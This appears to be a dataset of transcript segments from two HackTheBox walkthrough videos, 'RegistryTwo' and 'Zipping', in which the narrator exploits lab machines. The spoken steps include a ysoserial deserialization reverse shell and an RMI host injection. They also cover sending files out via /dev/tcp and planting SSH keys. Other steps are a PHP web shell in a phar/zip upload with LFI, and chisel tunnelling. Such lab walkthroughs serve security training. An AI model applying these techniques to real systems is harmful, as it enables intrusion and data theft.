text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
submit we can see we set these two variables right but if we look at the code what it's doing is it's just getting the any parameter we send putting them in this map and then updating them oh God I did not mean to click settings there we go so since we can edit any setting we could also edit um what the server uses to ... | 1,901.96 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
going to do is set RMI host and we're going to point it back at us and then put a all bite in and then htb so that way it passes this check but when it goes to connect it gets terminated at the do and goes to our IP address so this is going to be the much easier way to exploit this so let's take a look um I'm going to ... | 1,966.72 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
1048 and I guess we can do this um first without the null bite right so if I did that and then let's turn this oh hold on I'm going to drop that request if I did that in the repeater Tab and then for it it would have deleted it so I'm just going to turn burp site off real quick because we no longer need it for now so i... | 2,025.559 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
address um NC OV NP 1099 I'm going to listen on that for good measure maybe I just need the N bite and don't do htb let's see what am I missing we set domains and ri. | 2,107.28 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
host uh let's see class ri. | 2,135.92 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
host I believe that's correct let's just pend the htb again and try this again so we send this we ought to match I am listening on 902 see let's go back there we go I am not sure what happened before but now we actually error whenever we try something maybe that's when we view a file right but now we're getting a conne... | 2,146.28 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
whole difference is this will allow us to do shell redirection and they explain it pretty well in this whole description so the default like um y serial has the exact running like this and when you do it this way um you can't really do any type of redirection which sucks because if you want to do like a oneline shell y... | 2,218.92 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
command is done this way so now all the redirection works just fine you don't have to worry about escaping and things like that so that's why I'm using this y so serial modified now the painful thing is there's no exact release and getting this to run isn't the easiest so we're going to go to this poll request and they... | 2,275.64 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
and there's going to be two small changes we have to make so I'm going to speed up the video so you don't watch it extract all this and we'll get to the error message and we have the first error so we have could not find artifact Java X Interceptor stuff 3.1 so if we Google this error and let's see it's going to tell u... | 2,347.52 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
change it to use open jdk um the reason why we're just not going to update Java to the latest is there's a bunch of issues on Yo serial of it just not working with the latest version of java I don't know exactly where those issues are so I can't pull them up but take my word for it you want to use an old version of jav... | 2,437.119 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
version of java that y so seral supports and switching it to use that one if that's not um removed from the docker registry but this gets us to where we're working right so we have successfully built it and tagged it so I can do a doo run and then why so serial and we see the output so for this we actually want to use ... | 2,493.24 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
run I think it's a dash entry I think it's Dash Point as well sh and maybe it's just one thing um entry point probably goes before yo serial and we probably want to run it in interactive mode unknown flag there we go so now I'm in just the app so I can do a Java CP and before I do that we want to map a port here so I'm... | 2,549.079 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
I'm sure we could look through the source code and then look at the import statements and figure out um exactly which one to use but I like just using five or six um I find them relatively reliable and then this next one is a y so serial modified ISM I think this is going to be terminal type it supports like bash Power... | 2,620.04 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
to refresh and we have to log in again and then I'm probably going to have to set that again I'm guessing my cookie is invalid so I edited like the whole session here I reconfigured it for this J session ID I'm guessing so I have to probably re-edit or grab a new cookie so let's just uh go to burp suite and turn interc... | 2,677.119 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
bash no python do we have script uh we don't so we can't actually establish a proper PTY which kind of sucks I wonder if I can export term to X term and still clear the screen I can't so that is how we get a shell on this container um and I know it's a container because if we do lsla on slash we have Docker M and what ... | 2,788.079 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
reason it could be skipped is just um IPv6 The Next Step here is going to be interacting with the RMI service itself to get a shell but um we couldn't do that from our host because it's firewood off right we don't have access to hit just Port 90002 so if I do NC 10 10 11 2 2 3 92 zv it doesn't connect and we need to be... | 2,851.16 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
address the interface right so I know I grabbed this from the docker container so if I wanted to we could actually grab it from the hosting panel right so I'm going to get rid of this arm my host so we're not sending it all the time we go back into the hosting panel uh Slash hosting okay that's fine we go back to our d... | 2,927.64 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
the IP address because of all those zeros which we will do in a second but there is a colon every four so we do that and what wonder if it change ports on me let's do 9,2 there we go so that does change ports um we go back to this one 90002 we see it doesn't work so if we we wanted to we could also simplify this so you... | 3,022.92 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
the first box I found it in and this goes into some things that I learned doing this box I clicked it because I want to know when this was right um because this box was just released and this was six years ago so again the misconfiguration can happen quite often so let's see now that we have that Port let's talk about ... | 3,094.599 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
the docker if they're ran on the host then we can escape the docker this way right so we want to examine more about the RMI so let's see where are we so in the file service it's listing a bunch of functions so we can upload file delete create directory get file delete domain new domain and in the case of domain it's ta... | 3,151.4 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
just search for um upload file and see where this is used so we do find and file upload file and if we go to The Domain seret we can see it's very clear exactly what what this is doing because we have the RMI client it's going to upload the file the domain get virtual host and then upload index. HTML this is parameter ... | 3,220.92 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
probably let's see this right so we should be able to just um upload any file we want or do any other command so let's get started by making this and the first thing I want to do is fix this package thing because we have this web imp classes come and we don't want that all over a code so I'm going to copy this and we c... | 3,290.64 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
that and we want to make a main function so I'm going to do public static void main then we can say string pergs and print out hello world run and there we go we have it so the one thing I do want to do is have the ability to change the vhost because that is going to change pretty often I believe if I go back here that... | 3,380.96 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
host 90002 connecting I think we could just call this right let's try this so I want to import Comm htb hosting RMI RMI client rapper and then I'm going to say um what is the variable it's a file service so maybe SV uh file service SVC is equal to this does that work uh cannot be resolved to a type so we got to import ... | 3,470.599 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
file so we can say list abstract file um what do we want to call this files that sounds fine and then we Loop it and get the name let's see what this does if we run it is trying to grab Etsy hosting do let's see hosting ini find and files so it's got a config file I don't know if we want to do it this way then let's se... | 3,592.52 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
that let see I'm just doing what it did here right and then they return this unhandled exception throws exception there we go so I think we have something similar to what they did let's just say connect RMI and then remote registry htb Port 90002 does this work uh always continue compilation I got a semicolon somewhere... | 3,757.119 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
mode step over oh I know what's happening um RMI is a mapper so what's happening is we're connecting to 90002 here and then when we say we want to list a file it's giving us a new address so it's like an HTTP redirect think of it that way and it's putting that remote registry. htbn so I'm going to copy the address go t... | 3,929.559 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
htb remote. registry. htb ping remote registry htb we can ping it run unknown host oh registry. | 3,993.68 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
webhosting registry there we go hope I have the correct name run Nest exception is unknown dyslexia moment there's no web hosting let's just copy and paste okay create connection that is embarrassing I had the wrong host there okay this is no longer a error in um the her name we're just getting a unmarshaling error abs... | 4,025.119 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
um just making this using the class file so we're not going through any decompilation so to do that it's a little bit complex I guess but I'm going to um let's see let's go back into a source directory I'm going to make a new one called exploit then I'm going to copy exploit. | 4,179.679 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
Java into this directory so we can CP exploit. Java here and then we should have the war file so we'll do 7zx dot dot slash dot dot hold on make the attemp 7zx let's get the hosting war in this one more directory and then I want to move web classes come to this directory and then we need a manifest right let's copy The... | 4,204.76 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
CFM give it the file we just created oh no uh file exploit. Java what command did I run we did that oh we created the class yeah that's right jar CFM so we're going to create exploit. jar and then give it the Manifest and then every directory okay so we have it so Java djar exploit cannot find or load this you have exp... | 4,317.159 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
class package com hosting I think that's fine let's remove exploit jar move exploit class into Comm htb hosting RMI let's create that jar Java djar exploit there we go and yes it does work so our code is working it's just when we have it decompiled it does not which I don't know exactly where that error came from but y... | 4,372.44 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
reader so let's comment all this stuff out so we have a proof of concept there um now let's do final buffered reader reader like this and let's say um while true and we can read a command off of it let's get rid of a lot of this okay so we have to probably do import statements because it can't resolve these so let's do... | 4,468.96 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
space does it tell me how to do that string Parts two awesome wonder if we is this let's see CMD args can that do it wonder if I say string like that no I was trying to assign them both at the same time uh we can call this split and then say CMD split one urg like that then say if CMD equals exit break let's just do a ... | 4,596.56 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
this let's see here's the loop the V host don't need that we don't need the list do we need this try here is it going to error if we don't it does unhandled exception okay so here we can do that list and I screwed it up because I deleted the code that had it um we have it in this one right oops exploit. | 4,731.92 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
Java this is what I want okay why is this erroring cannot be resolved um so the issue here is when we're calling service here it's in this Tri block and it's essentially in these curly brackets so when it leaves this this variable gets freed and not there free is probably the bad term but we have to declare the variabl... | 4,791.84 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
returns probably bytes string two um abstract file so is it file abstract file like this file let's see cannot be resolved um let's see is there a different thing let's go back to the client wrapper that's not what I want actually file service maybe view that'll be bytes I'm guessing we give it one parameter it is just... | 4,884.36 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
bites I think that'll work so I think we have all the code so let's go back here and um copy the Java so CP htb reg2 Source hosting um was it webm classes com htb hosting RMI where is this file exploit here then we wanted to give it the package so package com htb hosting RMI I think that's all we did let's see Java C c... | 4,994.56 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
text um LS home developer SSH let's see wonder if there's a different thing we can do here how we looping we do that we do file get name I really have no idea why it's erroring let's cat Etsy pass WD uh no such file so we have to go up one to directories so everything we're doing we get an out of bounds error at the en... | 5,163.4 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
out please subscribe connection refused that's not good let's try this again right uh Dev shm test. text please subscribe F not found because we have to do two dots yeah two um right do a few more for good measure there we go so if I cat this let's see if it wrote it did so let's make an SSH key and see if we can s um ... | 5,228.76 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
Pub we will copy this key right go up a few directories then home developer SSH authorized keys and put this here s-i developer developer at um registry hosting HTTP C Etsy host you can just do 10 10 11223 that did not work let's see what user are we um let's see cat proc selfon probably will get it does I get username... | 5,311.36 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
this not found do we have to make the directory let's see LS home oh there's only a developer proc self en I wonder if we need to create this directory or am I service is there is there's a create directory right case make before we do this ety pass WD again RMI so if we put an SSH key um we don't have a shell so let's... | 5,474.88 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
user home developer get credentials oh how am I doing LS so that's interesting if we call LS on the file I think it actually goes into it we have a credential right here so this is probably going to be developers password they have this GitHub name probably but ety pass WD yeah that is the case that if we use LS and sp... | 5,622.4 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
there paste it and there we go we have got developer on registry and we can get user. text so the first thing I generally like doing is always running a PF forest and then looking at what's running on the box so I'm going to skip all the services and looking at the first thing that really sticks out is we have um rout ... | 5,713.76 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
won't see it most likely we'll see it on sleep 10 because that's where the script spends Mo most of its time sleeping so let's go down what else do we see we have clam AV running that is definitely unique um what else that's engine X we have our SSH session um a Docker session this is probably going to be like the regi... | 5,766.8 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
service user so this is the one we have just exploited so we can now grab the source code to that jar file the other thing interesting is it's running as a super high P ID right um we can see our PID right here it is a sequential thing so this indicates the service is being restarted and we can verify that by going in ... | 5,834.88 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
minute do lsla it's still there so I'm just going to keep that in like the back of my knowledge that this process is restarting we don't know what frequency or how it restarts we just know um it's restarted recently so I'm going to grab registry. jar so let's do ncat lvmp 901 registry. | 5,901.96 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar cat registry. jar pipe it over to to Dev TCP 10 104 8 90001 we have now sent that file so what else do we want to do um we can also run a PE buy because I want to know exactly what was in that cron so let's do locate peie bu do I have a copy it looks like I do if you don't have this you can just probably grab it of... | 5,927.639 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
it's doing check host um so we don't know exactly what this check v.sh is or this binary we could look at the binary and reverse it if we wanted to uh but we can see it's executing quarantine which then eventually goes into this quarantine. jar so we have a another jar file so let's cut this file do Dev TCP 101048 901 ... | 6,026.88 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar and again you're not always going to see that as reliably as we just did a better way to look at it is using the- F flag um you may want to add a process flag as well I think since I just did- F it's not going to show me new processes but every time a file system operation happens that I have access to it's going t... | 6,063.679 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
recaf and this is normally my go-to for decompiling a jar I don't think it works on war files so that's why I did not use it before but this will have the nice benefit of if we want to make a modification we can just do that in line we don't have to go recompile which I absolutely love so let's download the big jar fil... | 6,127.159 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
and then doing this file service thing which we already saw but it does have something new it has a quarantine service and we don't know about this one so if I go over to the quarantine directory we can take a look at the um configs or files I should say the code where the quarantine service is that like implementation... | 6,199 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
it looks like the default timeout is going to be I'm guessing that's millisecond so probably one second um so all this service is doing right now is I guess sending out a config so when they access this they run the quarantine service thing they get a output of this quarantine configuration that points them to Local Ho... | 6,268.159 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar save the file and we see modified classes one so if I go here here LS we can see registry modify. jar and when we run this it probably won't run because I think I'm still doing daa to do y so serial the port's already in use but it's standing up on Port 90002 so let's send this over to our box I'm going to move thi... | 6,340.48 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar uh we have to stand up the web server okay so if I try to run this if. jar we also get that port in use but remember what we said um every some minutes I guess it doesn't show an order unless I do that every some minutes this service is going to restart which is running registry. jar so if that's restarting there's... | 6,393.32 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
go back back over to recaf we can say file load and then load the quarantine. | 6,469.96 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar to see exactly what happens so if I go to main let's see it's doing client. scan so here's client we have Scan it's going to get documents it's going to do a scan and use clamav to scan it and if it gets the status and let's see there's a potential risk it's going to apply quarantine get the file path and then quar... | 6,477.32 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
because this failed is probably um if it has a virus or it gets detected or something like that right we're just hitting this fail statement so do we have anything yet we have bound to 9,2 uh what service was that was it 3310 or 3301 uh I don't no n cvnp 3301 let's just listen on both of them to see if anything comes a... | 6,540.76 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar go to classes let's go to quarantine service implementation and let's see we have the default config pointed to root then the qu directory is to Dev shm 10148 Port 3310 oh we are getting things so we can see it has now scanned all the files in Dev shm so I think we reversed this we wanted it to scan root so we prob... | 6,605.56 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
it'll probably be 5 minutes or so but yep okay it has now bound to 902 and we are waiting for it to start connecting back to us so I'm going to pause the video again and we'll resume oh nope I don't have to pause so we have now started scanning um we can see every connection and it seems to be taking uh maybe 1 second ... | 6,703.44 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
directory so I don't think there's any way for us to take the server so we're just looking at other files that get um exfilled I guess I guess the best way we'll do this is find do dtype F and we can see all the files and eventually one may stick out we do have that check vhost but we'll see if we can actually view thi... | 6,790.639 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
uh second maybe it's sending us the file but what I want to try is changing this timeout and then we'll do the Beyond route which will just be showing the um proxy so I'm changing this to 100 milliseconds let me make sure ping 10 10 11 uh 223 we're at 90 milliseconds I just want to make sure um I'm not saying the timeo... | 6,869.239 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
thing start the loop and see can I as root here 10 10 11 2 23 no we'd have to do developer then rout um es s-f Forest I'm just doing this to speed up winning this race right 1 22 58 so you can just kill that P did I win the race and then kill myself is that what just happened that's embarrassing 14968 I guess that's no... | 6,947.639 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
the RMI exploit do I still have it um how did we do it we used yo serial um let's see netcat oh no this is after Yer serial this is this code yeah so when we were connecting um we specified registry. | 7,054.84 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
webhosting ACB and used the IPv6 because that's where um it was listening right if we wanted to but if we couldn't access it over IPv6 we still had a shell on the container down here so so we could run chisel here and do a type of port forward we could also just upload the jar file to this box and then run it that way ... | 7,083.8 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
here Dev shm W get 10 10 148 8,000 chisel okay so we have now downloaded chisel so now let's run it uh Cod plus X chisel of oh typo here chisel server uh let's listen on Port 801 and we need reverse okay and we can do I'm going to hate this um let's see sock 5 I'm going to stand up all the proxies first so let's do chi... | 7,152.52 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
if I screw up um it is quite a bit of work so hopefully we do this right the first time I can show everything I want to so I'm going to run this permission denied I guess we can't execute out of Dev shm so let's move it to Temp then run this command again uh client can't listen on 90002 oh because we have to specify th... | 7,247.679 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
jar uh period comes after find gp. jar easier way uh could have swar we called it exploit Source exploit there we go Java djar exploit LS slome or yeah we can do LS slome and we get connection refused so let's open up wi shark real quick and do look at this so pseudo wire shark it's going to be hard because both end po... | 7,361.639 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
416 three so if we forwarded this port as well in the Chisel then it would connect right this is the RMI mapper you can tell this is a second connection again because this is the sin packet that's how the three-way handshake starts so that's why that fails um but if we wanted to we could just say to use a proxy and you... | 7,458 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
through the proxy then hit it but it could also be 1010 whatever because it can hit either or so if we run this LS slome and it works again um I can't code Java so that's why you have the errors there but we tried to run that before we got the TCP connection denied now we are just just getting developer right if I did ... | 7,526.84 | 0 | {
"video_id": "rfYVkpArtgU",
"title": "HackTheBox RegistryTwo",
"url": "https://www.youtube.com/watch?v=rfYVkpArtgU"
} |
what's going on YouTube this is ipag doing zipping from hack the box which is a PHP web app that starts off with the file upload vulnerability and that just seems like a really hard thing to secure um the upload accepts a zip file and will give you the first file back in that zip so if you zip up a Sim link and send it... | 0.12 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
to bypass the file exist check because PHP treats that as just a file and you can um just skip the SQL injection all together also if you put a null bite in the zip some weird things happen so let's just stop talking and get into it as always we're going to start off with end map so- SC for default scripts SV enumerate... | 45.96 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
so going to 10 10 11229 we get to the page so I'm just going to click around find all the links and if I go to shop we're going to have a different site we have it opening up in shop if we oh whoops I clicked it again let's go to contact we have a contact form so let's just try um ipac root atps. rocks and then please ... | 96.84 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
the website offers before I go looking for any vulnerability and I would also be running like a go Buster in the background while I work but I'm not going to do that here just for sake of time right and when we look at the shop we have two parameters we have a page and ID now when whenever I see page I think of like so... | 163 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
which then includes index.php which then includes index.php until you run it a memory and it crashes um we can try going up One Directory and including index and we get the homepage right it's kind of like broken because we're in the shop directory so everything is trying to link to does not exist but uh we can include... | 221 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
not the case because when we include an index.php it doesn't and why that would matter let's say um we're including files out of templates so if it prepended templates do this when we do a PHP filter it doesn't work right so that could have broken it but we already know that's not the case the other thing is it could b... | 287.72 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
files inside there must be a PDF containing it so it looks like we have to zip up a PDF I'm just going to use text I'm not going to put a full PDF and see if it works um let's just call it note. text I'm going to put Please Subscribe and I forgot this probably should be uh PDF um note. text to note. PDF and then let's ... | 340 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
always appends PHP to this so my next step would would be um what if we didn't have note. PDF and if note. PDF was note. PHP so let's do that let's remove note. zip and then zip this back up so note. PHP note. Zip There we go so now we have a new one um we actually probably didn't have to do that we could just do it th... | 415.759 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
note. zip I'm going to move note. PHP to note. pdf.php and then we can zip this up Zip note. Zip like that and now we will go back to the upload attempt to upload and it doesn't so it's checking that PDF is the last characters we can go try doing null bites but we're going to talk about that next or later in the video ... | 488.96 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
P um I think it's just far before PHP like that that does not work what is it let's try the um zip archive there we go so what's happening here is a far is like a PHP archive um it is essentially just a zip so with far we can validate it exist and you can actually go into the zip like this so we can do note. pdf.php an... | 570.16 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
I'm just going to rename it to shell. PHP or name it p. | 650.6 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
PHP so we have this so we need to create this into a far archive and we could just use zip for it so I'm going to call it pa.zip pphp and um far archives don't care about extension um and this extension needs to be PDF for the website to accept accept it so I'm going to rename pa.zip to be p.pdf okay so inside a.pdf uh... | 655.92 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
it's going to say it's a zip so now we want to go back to the lfi vulnerability so we'll go let's do it in burp Suite so it's easier to see okay and for the page we're going to go up one directory because we don't want to be in shop and then we can say uh where is the URL um what do we upload it's this so copy this pas... | 742.56 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
here dubd duub HTML uploads p.pdf did I say shell and not pone let's do 7zl p.pdf do1 we call it per. PHP so this should aen PHP to this and we should execute where do we have wrong doesn't like something dubdub duub HTML uploads I thought that's where existed but maybe uploads are not here um I'm going to try re-uploa... | 854.88 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
